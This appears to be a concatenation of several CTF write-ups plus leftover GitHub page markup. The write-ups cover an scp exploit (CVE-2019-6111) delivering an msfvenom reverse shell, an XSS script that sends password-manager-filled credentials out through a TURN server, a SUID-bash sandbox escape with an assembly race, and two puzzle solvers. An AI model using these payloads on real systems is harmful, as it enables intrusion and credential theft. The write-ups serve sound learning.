f = chan.makefile("rU")username = f.readline().strip("\r\n")print(username)~~~
Also, some dependencies need to be installed for this script to work properly (even though we probably won't be using `gssapi`):
~~~$ sudo apt-get install python-pip libkrb5-dev$ pip3 install --user gssapi~~~
OK, now we are set to go. Let's try to launch this server and give our IP to Bob again:
~~~$ python3 demo_server.py Read key: 60733844cb5186657fdedaa22b5a57d5Listening for connection ...Got a connection!bob Authenticated!scp: ~~~
And just like this, two of my hypothesis went right out the window: Bob was authenticating with a blank password (sad face) and he was using `scp`, not `SFTP`. Even worse, with our implementation of the SSH server, we weren't seeing the file being requested, so we couldn't serve it to see what happened next.
## `data.txt` and `generatereport`
At this point, a lot of googling, frustrated screams and saddening sobs happened. We tried to make `scp` work server-side with `paramiko`, but we were constantly hitting roadblocks. After a while, I desperately cried for help in our team chat, and one of our members suggested using [this amazing PoC for CVE-2019-6111 and CVE-2019-6110](https://www.exploit-db.com/exploits/46193). Even though we had thought of client-side SSH exploits, what interested us the most was the working `scp` server that returned any file that was requested. Yeah, umpteenth reminder that there are people out there way better than me at anything!
But well, let's give it a try! Just by changing the interface it listens on:
~~~pythonsock.bind(('0.0.0.0', 2222))sock.listen(0)logging.info('Listening on port 2222...')~~~
And giving our IP to Bob once more:
~~~$ python3 46193.py INFO:root:Creating a temporary RSA host key...INFO:root:Listening on port 2222...INFO:root:Received connection from 34.76.117.194:38910INFO:paramiko.transport:Connected (version 2.0, client OpenSSH_5.9p1)INFO:paramiko.transport:Auth rejected (none).INFO:root:Authenticated with bob:INFO:paramiko.transport:Auth granted (password).INFO:root:Opened session channel 0INFO:root:Approving exec request: scp -f -- data.txtINFO:root:Sending requested file "data.txt" to channel 0INFO:root:Sending malicious file "exploit.txt" to channel 0INFO:root:Covering our tracks by sending ANSI escape sequenceINFO:paramiko.transport:Disconnect (code 11): disconnected by user~~~
Wow, just with that we see that `data.txt` is the file that Bob requests! And by pure luck it seems the exploit works too. It's just we don't know what we want to exploit with it just yet. But Bob said he would "come back to us" with the result of his "job", so let's listen for incoming connections again and see what happens:
~~~$ sudo tcpdump -nn -i eth0 'port not 443 and port not 80 and port not 22 and tcp'tcpdump: verbose output suppressed, use -v or -vv for full protocol decodelistening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
...
14:10:27.612236 IP 35.195.214.46.57610 > REDACTED.2223: Flags [S], seq 423611077, win 28400, options [mss 1420,nop,nop,TS val 1288908991 ecr 0,nop,wscale 7], length 014:10:27.612285 IP REDACTED.2223 > 35.195.214.46.57610: Flags [R.], seq 0, ack 423611078, win 0, length 0~~~
After all the traffic to port 2222, we can see another connection from the same IP address to our port 2223. Let's listen on that port to see what Bob is trying to send us!
~~~$ nc -lvvp 2223Listening on [0.0.0.0] (family 0, port 2223)Connection from 46.214.195.35.bc.googleusercontent.com 57648 received!## generated by generatereport## generatereport failed. Error: unknown~~~
Hmmm. Ok, apparently some `generatereport` tool was executed with our `data.txt` and of course it failed because we didn't provide the proper file.
## CVE-2019-6111
Again, we googled a lot at this point to see what this `generatereport` was and how we could exploit it, maybe sending it a malicious `data.txt` file... And of course we found nothing. But then it clicked us.
We have a functional PoC of CVE-2019-6111 to overwrite additional files other than the one requested via `scp`. Why don't we try to overwrite that `generatereport`, whatever it is? (assuming it's in the same directory where `data.txt` is being requested!)
To confirm this, we firstly altered the exploit so that it sent an innocuous `generatereport` file to see what happened. And after setting the server up and speaking with Bob again, we happily checked that we no longer received the connection to port 2223 after Bob's `scp`. It seemed that our hypothesis was correct and `generatereport` was overwritten. Time to deliver a real payload!
~~~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=REDACTED LPORT=2223 -f elf -o sploit[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload[-] No arch selected, selecting arch: x86 from the payloadNo encoder or badchars specified, outputting raw payloadPayload size: 68 bytesFinal size of elf file: 152 bytesSaved as: sploit~~~
**Note:** We used port 2223 with our reverse shell to make sure the victim could go out through that port and no firewall would block us.
Once the malicious executable was set, we modified the exploit to deliver it instead of the default payload:
~~~pythonwith open('sploit', 'rb') as f: payload = f.read()
# ...
# This is CVE-2019-6111: whatever file the client requested, we send# them 'exploit.txt' instead.logging.info('Sending malicious file "generatereport to channel %d', channel.get_id())command = 'C0664 {} generatereport\n'.format(len(payload)).encode('ascii')~~~
The only thing left to do was to set the listener and cross our fingers:
~~~$ nc -lvvp 2223Listening on [0.0.0.0] (family 0, port 2223)Connection from 170.101.195.35.bc.googleusercontent.com 34972 received!iduid=1337(user) gid=1337(user) groups=1337(user)
cat flag.txtCTF{0verwr1teTh3Night}~~~
I have to admit that, for the first 10 seconds, I couldn't believe it worked.
Thanks for reading! |
# Doomed to Repeat It## DescriptionPlay the classic game Memory. Feel free to download and study the source code.[https://doomed.web.ctfcompetition.com/](https://doomed.web.ctfcompetition.com/)
## SummaryThe task is to complete a game of [Memory (also known as Concentration)](https://en.wikipedia.org/wiki/Concentration_(card_game)) with a set of 56 cards in no more than 60 tries. There are 28 distinct pairs of cards marked 0 through 27. This means that you can flip no more than two pairs of mismatched cards. A weakness in the method for randomizing cards allows collection of game boards that have a high probability of being reused.
## Method for solving### Approach1. Collect a large set of boards using the Golang code provided in the challenge attachment. See results in `boards.txt`. See added `NewBoard` function in `modified/game/game.go` and command line argument added to `main` in `modified/main.go`. Command: `go run memory 100000 > boards.txt`2. Reduce the set of boards to boards that are duplicated. See results in `dupes.txt`. Command: `sort boards.txt | uniq -d > dupes.txt`3. Create a dictionary of duplicated boards where the key is the first four cards. Flip four cards. If the key for the first four cards is in the dictionary, attempt to solve. Quit if the key is not in the dictionary or if there are any mismatches after flipping the first four cards. See `doomed.py`. I used Python 3.6.8 and the [websockets](https://pypi.org/project/websockets/) library (version 7.0). You probably want to use a virtualenv:```python3 -m venv venv. venv/bin/activatepip install websocketspython doomed.py```See results.txt for a successful attempt. Flag: `CTF{PastPerf0rmanceIsIndicativeOfFutureResults}`### Observations* Of the 100,000 boards I collected (`boards.txt`), 23,438 boards were duplicated (`dupes.txt`). This means that I should have found a duplicate about 1 out of every 4 or 5 attempts when running `doomed.py`. This seemed to be roughly the case.* The comments in `random/random.go` heavily imply that the randomization is bad, but I went through the approaches below before making a pass through the provided code.
## Obstacles and approaches that didn't work### Exploiting JavaScriptThe link in the challenge description provides a nice UI in your browser for the game. If you click a card, it flips it over and starts a 10 second countdown until you click another card. It keeps track of turns used and ends if you run out of time or exhaust the cap of 60 attempts.
At first, I thought that it might be possible to exploit the client side to extend the time limit or reveal the board. However, both are handled on the server side.
### Origin headerThe source code shows that the application uses WebSockets. The JavaScript source code inspects the protocol to use `ws://` or `wss://` for the WebSocket URI. I started writing a client in Python using the [websockets](https://pypi.org/project/websockets/) library, but I got an HTTP 302 when using `ws://` and an HTTP 403 when using `wss://`. The [Gorilla WebSocket](https://github.com/gorilla/websocket) library used in the Golang server checks that the origin header matches. The Python [websockets](https://pypi.org/project/websockets/) library allows you to set the origin to whatever you want.
### Playing perfectlyThe first iteration of `doomed.py` attempted to just keep track of flipped cards and play a perfect game. However, you have to be very lucky to match 28 pairs and only make two mistakes, even if you have a perfect memory.
## Code### Function in game.go to expose new boards```gofunc NewBoard() ([]byte) { board, _ := newBoard() data, _ := json.Marshal(board.nums) return data}```### Modified main function in main.go```gofunc main() { // flag.txt should have no newline flag, err := ioutil.ReadFile("flag.txt") if err != nil { log.Fatalf("Couldn't read flag: %v", err) }
if len(os.Args) > 1 { n, _ := strconv.Atoi(os.Args[1]) for i := 0; i < n; i++ { data := game.NewBoard() fmt.Printf("%s\n", data) } } else { http.HandleFunc("/_ah/health", healthCheckHandler) http.Handle("/", &rootHandler{flag: string(flag)}) log.Print("Listening on port 8080") log.Fatal(http.ListenAndServe(":8080", nil)) }}```### doomed.py```pythonimport asyncioimport jsonimport randomimport sysimport websockets
guesses = dict()matched = []known = [-1 for i in range(56)]done = False
async def guess(websocket, x, y): msg = dict(op="guess", body=dict(x=x, y=y)) await websocket.send(json.dumps(msg)) response_str = await websocket.recv() response = json.loads(response_str) global done board = response["board"] done = response["done"] index = y * 7 + x value = board[index] known[index] = value print("%d, %d: " % (x, y), value) if value not in guesses: guesses[value] = [index] else: guesses[value].append(index) if "Flag" in response_str: print(response["message"]) done = True return value
async def solve(uri): # Returns 403 if origin header not set. origin = "https://doomed.web.ctfcompetition.com" async with websockets.client.connect(uri, ssl=True, origin=origin) as websocket: msg = dict(op="info") await websocket.send(json.dumps(msg)) response = await websocket.recv() print(f"> {response}") dupes = dict() with open("dupes.txt") as f: for line in f: dupe = json.loads(line) key = "%d, %d, %d, %d" % (dupe[0], dupe[1], dupe[2], dupe[3]) dupes[key] = dupe # Flip the first four cards. first = await guess(websocket, 0, 0) second = await guess(websocket, 1, 0) third = await guess(websocket, 2, 0) fourth = await guess(websocket, 3, 0) key = "%d, %d, %d, %d" % (first, second, third, fourth) if key in dupes: print("FOUND DUPE!") for index, value in enumerate(dupes[key][4:]): if value not in guesses: guesses[value] = [index + 4] else: guesses[value].append(index + 4) else: print("No match. Game over.") return
while(not done): for value in guesses.keys(): if len(guesses[value]) == 2 and value not in matched: first_index = guesses[value][0] first_x = first_index % 7 first_y = first_index // 7 first = await guess(websocket, first_x, first_y) second_index = guesses[value][1] second_x = second_index % 7 second_y = second_index // 7 second = await guess(websocket, second_x, second_y) if first == second: matched.append(value) print("MATCHED: ", matched) else: print("MISS!!" , first, second) print("Dupe doesn't match. Game over.") return not_found = [i for i, val in enumerate(known) if val == -1] if not_found: next_guess = random.choice(not_found) else: return x = next_guess % 7 y = next_guess // 7 first = await guess(websocket, x, y) if len(guesses[first]) == 2: next_guess = guesses[first][0] matched.append(first) else: not_found = [i for i, val in enumerate(known) if val == -1 and i != next_guess] next_guess = known.index(-1) next_guess = random.choice(not_found) x = next_guess % 7 y = next_guess // 7 second = await guess(websocket, x, y) if first not in matched: if first == second: matched.append(first) print("MATCHED: ", matched)
uri = "wss://doomed.web.ctfcompetition.com/ws"asyncio.get_event_loop().run_until_complete(solve(uri))
``` |
# BCACTF WRITEUP
Challenge -->>> Large-Data
In this challange we upto 2700 text file in 27 different folder so we have to do some analysis technique to extract the flag.

As we can see in above challenge they given a link to download that files for analysis. and they clearly told that flag is 27 character long.
At first i have open file from a folder and get some random characters. that are in every files.then i decided to do something with the characters to extract the flag. so i'm doing trial on one file i have design a solver for one file that read data from file then make sum of each characters ASCII value and finally take average by from counting character emmmmmm... the equation like
#### flagChar = SUM_OF_ALL_CHARACTER(ASCII_CODE)/TOTAL_CHARACTERS_OF_FILE by doing this i got flags characters like bcactf{.............. then i have created a solver that do this stuff in each file and folder..
## SOLVER.py------------------------------------------------------------
import os f = [] root = os.getcwd() i=0 for filename in os.listdir(os.getcwd()): f.append(filename)
f.pop() f1=[] for i in range(0, len(f)): f[i] = int(f[i]) f.sort() flag=[]
st = "" for i in f: os.chdir(os.getcwd()+"\\"+str(i)) filelist = os.listdir(os.getcwd()) cntch=0 charcode=0 i=0 for j in range(0, len(filelist)): filelist[j] = int(filelist[j]) filelist.sort() for afile in filelist: if(i<100): #print(afile) fp = open(str(afile),"r") for filedata in fp: for ch in filedata: charcode += ord(ch) cntch = cntch + 1 st += (chr(int(charcode/cntch))) cntch=0 charcode=0 i+=1 flag.append(st) os.chdir(root) st="" k=0 l=0 flags="" for i in range(0,100): for j in range(0,27): flags += flag[k][l] k=k+1 l=l+1 print(flags) flags="" k=0
By running this solver we got 100 Flags--->
100 flags link -->https://raw.githubusercontent.com/dhavz/BCACTF-WRITEUP/master/flags
So after that i have found a flag from that list that have good meaningful words like a FLAGGG!!!!!!!!!!!!
## bcactf{crunch1ng_num5_c00l}
c001_dh@\/7_ |
## Password (869 pts) (Web)

Done with https://github.com/patriksletmo
This was a followup to [jail](../jail/Readme.md), so read that one first.
The description hints at a password manager that modifies the page. Lets try adding a login form and returning the resulting page in the same way as before. The only difference beeing that the page is to big for the username field, so we have to slice it and do it in multiple steps.
```html<script> function x() { var auth = document.body.innerHTML.slice(-300); // Change the value to get different parts of the page
function gotDescription(desc) { begin = window.performance.now(); candidates = []; pc.setLocalDescription(desc); }
function noDescription(error) { console.log('Error creating offer: ', error); } var pc = new RTCPeerConnection({ "iceServers": [{ "urls": ["turn:my.ip.address:3478"], "username": btoa(auth), "credential": "password1" }], "iceTransportPolicy": "all", "iceCandidatePoolSize": "0" }); pc.createOffer({ offerToReceiveAudio: 1 }).then(gotDescription, noDescription); }
function timer() { setTimeout(x, 1000); }</script><html>
<body onload="timer()"> <form id="" method="POST"><input type="text" autocomplete="on" name="username" id="username" /><input type="password" autocomplete="on" name="password" id="password" /><input type="submit" value="gö" /> </form></body>
</html>```
This is what the full page looks like in the admins browser
```html <form id="" method="POST"> <input type="text" autocomplete="off" name="username" id="username" data-cip-id="username" class="cip-ui-autocomplete-input"><span></span> <input type="password" autocomplete="on" name="password" id="password" data-cip-id="password"> <input type="submit" value="g�"> </form> <div class="cip-genpw-icon cip-icon-key-small" style="z-index: 2; top: 10px; left: 341px;"></div> <div class="cip-ui-dialog cip-ui-widget cip-ui-widget-content cip-ui-corner-all cip-ui-front cip-ui-draggable" tabindex="-1" role="dialog" aria-describedby="cip-genpw-dialog" aria-labelledby="cip-ui-id-1" style="display: none;"> <div class="cip-ui-dialog-titlebar cip-ui-widget-header cip-ui-corner-all cip-ui-helper-clearfix"><span>Password Generator</span> <button class="cip-ui-button cip-ui-widget cip-ui-state-default cip-ui-corner-all cip-ui-button-icon-only cip-ui-dialog-titlebar-close" role="button" aria-disabled="false" title="�"><span></span><span>�</span></button> </div> <div id="cip-genpw-dialog" class="cip-ui-dialog-content cip-ui-widget-content" style=""> <div class="cip-genpw-clearfix"> <button id="cip-genpw-btn-generate" class="b2c-btn b2c-btn-primary b2c-btn-small" style="float: left;">Generate</button> <button id="cip-genpw-btn-clipboard" class="b2c-btn b2c-btn-small" style="float: right;">Copy to clipboard</button> </div> <div class="b2c-input-append cip-genpw-password-frame"> <input id="cip-genpw-textfield-password" type="text" class="cip-genpw-textfield"><span>123 Bits</span></div> <label class="cip-genpw-label"> <input id="cip-genpw-checkbox-next-field" type="checkbox" class="cip-genpw-checkbox"> also fill in the next password-field</label> <button id="cip-genpw-btn-fillin" class="b2c-btn b2c-btn-small">Fill in & copy to clipboard</button> </div> </div> ```
Which matches what the KeePass-compatible ChromeIPass extension generates.
Apparently the extension only loads the autocomplete once you click on the username field, so we added `document.getElementById('username').click();`
This resulted in the following buttons being added
```htmlfake_flag (http://jail.2019.rctf.rois.io/)flag (http://jail.2019.rctf.rois.io/)```
Lets click on it with `document.getElementById('cip-ui-id-4').click()?` and then grab the content of the username and password field with `document.getElementById('username').value+':'+document.getElementById('password').value;`
```console$ echo ZmxhZzpyY3Rme2twSHR0cF9tNHlfbGVha191cl9wd2R9|base64 -dflag:rctf{kpHttp_m4y_leak_ur_pwd}```
[View the full attack script](password.py) |
# DevMaster 8000 & DevMaster 8001This challenge acted as build service. You could upload and execute files to it. Worker environment is sandboxed, and writable is only workdir of worker and /tmp. If we connect to the server using --admin flag, we have to pass in password for it to print the winning flag.
Same exploit method works for DevMaster 8000 and DevMaster 8001.
## IdeaAfter some time of solving this sandbox challenge I got curious about the /tmp folder. I could see temporary assembly file appear there for a second from time to time. Realizing that this assembly is output of g++ from sandboxed admin rebuild script, that is run every 30 seconds, an idea came to my mind. We could replace this file right before it will produce the final admin executable and effectively remove the check. The problem is that this file is owned by specific worker user, that is inaccessible to us, while it's building. To impersonate **uid** of that specific worker we have to do few things.
## PreparationModify the admin program, so it won't check our supplied password.```std::string expected_hash = std::string(pieces) + "31205d449bc376d0dacb39bf25f4729999bd78d69695fd8dc211c2306209b";std::string actual_hash = picosha2::hash256_hex_string(password); //if (expected_hash == actual_hash) { if (true) { std::ifstream flagfile("./flag"); if (!flagfile.is_open()) { std::cerr << "Failed to open ./flag" << std::endl;```
Run supplied multiplexer and connect to it with two interactive bash jobs. Upload drop_privs exe to the first bash session and edited admin program source to the second bash session.```cromize@jupiter:~/devmaster$ ./multiplexer 13377 nc devmaster-8001.ctfcompetition.com 1337[!] Multiplexer started, listening on port 13377``````cromize@jupiter:~/devmaster$ cp built_bins/drop_privs ../cromize@jupiter:~/devmaster$ built_bins/client nc localhost 13377 -- drop_privs -- drop_privs -- bash -ibash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shellsandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ lsdrop_privs``````cromize@jupiter:~/devmaster$ built_bins/client nc localhost 13377 -- admin.cc -- admin.cc -- bash -ibash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shellsandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ lsadmin.cc```
### sandbox-runner-0Inside the `sandbox-runner-0` make the workdir accessible to everyone and copy bash here. Make bash in workdir executable by everyone and set SUID bit. Exit this bash session, so admin build worker can use this worker for building.```sandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ chmod 777 ../build-workdir-XXRw4Tsandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ cp /bin/bash .sandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ chmod 777 bashsandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ chmod u+s bashsandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ exit```
### sandbox-runner-1Coming back to `sandbox-runner-1`, let's compile our modified admin source into assembly file.```sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ cp ../../picosha2.h .sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ g++ --std=c++11 admin.cc -ftemplate-depth=1000000 -o admin -S```
Make the admin file executable by everyone and copy it into /tmp.```sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ chmod 777 adminsandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ cp admin /tmp/adminsandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ ls /tmpadminuser```
## ExploitChange into old workdir of `sandbox-runner-0` and run that SUID bash there. You have to run it with -p flag to not loose gained **euid** privilege.```sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ cd ../build-workdir-XXRw4Tsandbox-runner-1@jail-0:/home/user/builds/build-workdir-XXRw4T$ ./bash -p$ iduid=1339(sandbox-runner-1) gid=1339(sandbox-runner-1) euid=1338(sandbox-runner-0) groups=1339(sandbox-runner-1),0(root)```
Notice that our **euid** is `sandbox-runner-0` one. Having **euid** of worker, that is used for admin build, we can now run supplied drop_privs to gain **uid** of `sandbox-runner-0`.```$ ./drop_privs sandbox-runner-0 sandbox-runner-1 bash -p$ iduid=1338(sandbox-runner-0) gid=1339(sandbox-runner-1) groups=1339(sandbox-runner-1),0(root)```
Having real **uid** of `sandbox-runner-0` we can now compromise the intermediate assembly used for building.
Using this script, we can detect the intermediate assembly file made during compilation of admin exe and replace it. Just copy paste the script into our impersonated `sandbox-runner-0` bash and wait for the replacement.```#!/bin/bash
rename() { echo here it is /tmp/*.s ; cp -f /tmp/admin /tmp/*.s ;}
while true; do if [ $(ls -1 /tmp | wc -l) -eq 3 ] ; then rename ; fi ;done``` If you see it echo, you can now try to connect to the server with the --admin flag and get the flag.```cromize@jupiter:~/devmaster$ built_bins/client --admin nc localhost 13377 -- drop_privs -- drop_privs --Enter your password please.
CTF{devMaster-8001-premium-flag}```
If it didn't work, try to wait for the next rebuild. Time window for the race is quite small. |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF_Exploit/DEFCON_CTF_2019/speedrun004 at master · wotmd/CTF_Exploit · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="E64F:C14D:2BD4979:2CD8368:64122498" data-pjax-transient="true"/><meta name="html-safe-nonce" content="cb501f3505a977db8cf8965ecec1789ccabdebde0dc6e58fef12071d7fdf643b" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFNjRGOkMxNEQ6MkJENDk3OToyQ0Q4MzY4OjY0MTIyNDk4IiwidmlzaXRvcl9pZCI6Ijc4MjI1OTI2MTYzNTk2MjAwOCIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="8690a259c4c423182ed4735170346fb2349f7d8f922848167c128a0c4cc25e39" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:186552212" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
